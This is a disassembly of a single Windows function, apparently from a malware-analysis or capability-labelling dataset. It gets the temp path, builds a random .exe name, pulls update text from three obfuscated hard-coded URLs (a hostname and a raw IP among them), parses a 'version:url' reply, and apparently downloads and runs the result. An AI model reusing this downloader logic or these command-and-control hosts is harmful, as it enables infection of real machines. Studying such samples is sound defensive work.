Function at 0x40260d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3528
call fcn.00403150
push esi
push edi
lea edi, [ebp - 0x3528]
mov ecx, 0xd4a
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x3528], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3527]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x2508], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x2507]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x2404], 0
mov dword [ebp - 0x250c], 0
mov dword [ebp - 0x3114], 0
mov dword [ebp - 0x3118], 0
mov dword [ebp - 0x2510], 0
mov byte [ebp - 0x2400], 0
mov ecx, 0x8ff
xor eax, eax
lea edi, [ebp - 0x23ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3110], 0
mov ecx, 0x2ff
xor eax, eax
lea edi, [ebp - 0x310f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x321c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x321b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3320], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x331f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3424], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3423]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, esp
lea eax, [ebp - 0x3528]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp esi, esp
call fcn.00402b65
push 5
lea ecx, [ebp - 0x2508]
push ecx
call fcn.00401b4e
add esp, 8
lea edx, [ebp - 0x3528]
push edx
call fcn.00402c80
add esp, 4
movsx eax, byte [ebp + eax - 0x3528]
cmp eax, 0x5c
je 0x40276e
lea ecx, [ebp - 0x3528]
push ecx
call fcn.00402c80
add esp, 4
mov byte [ebp + eax - 0x3527], 0x5c
lea edx, [ebp - 0x2508]
push edx
lea eax, [ebp - 0x3528]
push eax
call fcn.00402e90
add esp, 8
push str..exe
lea ecx, [ebp - 0x3528]
push ecx
call fcn.00402e90
add esp, 8
lea edx, [ebp - 0x321c]
push edx
mov eax, dword [str.104116116112058047047119119119046115112111100046099111046107114047097100103101116095108111103047108111103050048049049049049049052046116120116]
push eax
call fcn.004013f3
add esp, 8
lea ecx, [ebp - 0x321c]
push ecx
call fcn.00402c80
add esp, 4
cmp eax, 0xa
jbe 0x40288f
push 0x2400
lea edx, [ebp - 0x2400]
push edx
lea eax, [ebp - 0x321c]
push eax
call fcn.004014b8
add esp, 0xc
test eax, eax
jne 0x40288d
lea ecx, [ebp - 0x3320]
push ecx
mov edx, dword [str.104116116112058047047108105115116046098101115116120115115046099111109047117112103114097100101046116120116]
push edx
call fcn.004013f3
add esp, 8
lea eax, [ebp - 0x3320]
push eax
call fcn.00402c80
add esp, 4
cmp eax, 0xa
jbe 0x402888
push 0x2400
lea ecx, [ebp - 0x2400]
push ecx
lea edx, [ebp - 0x3320]
push edx
call fcn.004014b8
add esp, 0xc
test eax, eax
jne 0x402886
lea eax, [ebp - 0x3424]
push eax
mov ecx, dword [str.104116116112058047047049055052046049051057046054051046054054047117112100097116101046116120116]
push ecx
call fcn.004013f3
add esp, 8
lea edx, [ebp - 0x3424]
push edx
call fcn.00402c80
add esp, 4
cmp eax, 0xa
jbe 0x402881
push 0x2400
lea eax, [ebp - 0x2400]
push eax
lea ecx, [ebp - 0x3424]
push ecx
call fcn.004014b8
add esp, 0xc
test eax, eax
jne 0x40287f
jmp 0x402972
jmp 0x402886
jmp 0x402972
jmp 0x40288d
jmp 0x402972
jmp 0x402894
jmp 0x402972
call fcn.0040250e
mov dword [ebp - 0x3118], eax
lea edx, [ebp - 0x2400]
push edx
call fcn.00402c80
add esp, 4
cmp eax, 0x15
jae 0x4028b8
jmp 0x402972
lea eax, [ebp - 0x2400]
push eax
call fcn.004025ba
add esp, 4
test eax, eax
jne 0x4028d0
jmp 0x402972
lea ecx, [ebp - 0x3110]
push ecx
lea edx, [ebp - 0x2400]
push edx
call fcn.004013f3
add esp, 8
push 0x3a
lea eax, [ebp - 0x3110]
push eax
call fcn.00403090
add esp, 8
mov dword [ebp - 0x2404], eax
cmp dword [ebp - 0x2404], 0
je 0x402972
mov ecx, dword [ebp - 0x2404]
mov byte [ecx], 0
lea edx, [ebp - 0x3110]
mov dword [ebp - 0x250c], edx
mov eax, dword [ebp - 0x2404]
add eax, 1
mov dword [ebp - 0x3114], eax
mov ecx, dword [ebp - 0x250c]
push ecx
call fcn.00402e28
add esp, 4
mov dword [ebp - 0x2510], eax
mov edx, dword [ebp - 0x3118]
cmp edx, dword [ebp - 0x2510]
je 0x402972
lea eax, [ebp - 0x3528]
push eax
mov ecx, dword [ebp - 0x3114]
push ecx
call fcn.004015fa
add esp, 8
mov edx, dword [ebp - 0x2510]
push edx
call fcn.0040248d
add esp, 4
pop edi
pop esi
add esp, 0x3528
cmp ebp, esp
call fcn.00402b65
mov esp, ebp
pop ebp
ret